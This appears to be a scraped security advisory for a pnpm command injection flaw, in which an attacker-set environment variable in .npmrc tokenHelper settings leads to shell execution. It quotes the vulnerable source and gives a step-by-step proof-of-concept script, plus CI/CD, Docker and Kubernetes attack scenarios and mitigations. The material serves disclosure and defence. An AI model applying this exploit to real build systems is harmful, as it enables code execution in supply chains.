| Package | Affected versions | Patched versions |
|---|---|---|
| pnpm | ≥ 6.25.0, < 10.27.0 | 10.27.0 |
| pnpm | ≥ 6.25.0, < 10.27.0 | 10.27.0 |
A command injection vulnerability exists in pnpm when using environment variable substitution in .npmrc configuration files with tokenHelper settings. An attacker who can control environment variables during pnpm operations could achieve remote code execution (RCE) in build environments.
@pnpm/config.env-replace and loadToken functionalitypnpm/network/auth-header/src/getAuthHeadersFromConfig.ts - loadToken() functionpnpm/config/config/src/readLocalConfig.ts - .npmrc environment variable substitutionEnvironment Variable Substitution
.npmrc supports ${VAR} syntaxreadLocalConfig()loadToken Execution
spawnSync(helperPath, { shell: true })Attack Flow
.npmrc: registry.npmjs.org/:tokenHelper=${HELPER_PATH}
↓
envReplace() → /tmp/evil-helper.sh
↓
loadToken() → spawnSync(..., { shell: true })
↓
RCE achieved
pnpm/config/config/src/readLocalConfig.ts:17-18
key = envReplace(key, process.env)
ini[key] = parseField(types, envReplace(val, process.env), key)
pnpm/network/auth-header/src/getAuthHeadersFromConfig.ts:60-71
export function loadToken(helperPath: string, settingName: string): string {
if (!path.isAbsolute(helperPath) || !fs.existsSync(helperPath)) {
throw new PnpmError('BAD_TOKEN_HELPER_PATH', ...)
}
const spawnResult = spawnSync(helperPath, { shell: true })
// ...
}
Running one of these products? Scan your site to see whether it exposes a vulnerable version.
Scan my site free# 1. Create malicious helper script
cat > /tmp/evil-helper.sh << 'SCRIPT'
#!/bin/bash
echo "RCE SUCCESS!" > /tmp/rce-log.txt
echo "TOKEN_12345"
SCRIPT
chmod +x /tmp/evil-helper.sh
# 2. Create .npmrc with environment variable
cat > .npmrc << 'EOF'
registry=https://registry.npmjs.org/
registry.npmjs.org/:tokenHelper=${HELPER_PATH}
EOF
# 3. Set environment variable (attacker controlled)
export HELPER_PATH=/tmp/evil-helper.sh
# 4. Trigger pnpm install
pnpm install # RCE occurs during auth
# 5. Verify attack
cat /tmp/rce-log.txt
==> Attack successful
==> File created: /tmp/rce-log.txt
==> Arbitrary code execution confirmed
High Risk:
Low Risk:
Scenario 1: CI/CD Supply Chain
Repository → Build Trigger → pnpm install → RCE → Production Deploy
Scenario 2: Docker Build
FROM node:20
ARG HELPER_PATH=/tmp/evil
COPY .npmrc .
RUN pnpm install # RCE
Scenario 3: Kubernetes
Secret Control → Env Variable → .npmrc Substitution → RCE
Disable tokenHelper:
# .npmrc
# registry.npmjs.org/:tokenHelper=${HELPER_PATH}
Use direct tokens:
//registry.npmjs.org/:_authToken=YOUR_TOKEN
Audit environment variables:
shell: true from loadToken@pnpm/config.env-replace@^3.0.2Reported by: Jiyong Yang Contact: [email protected]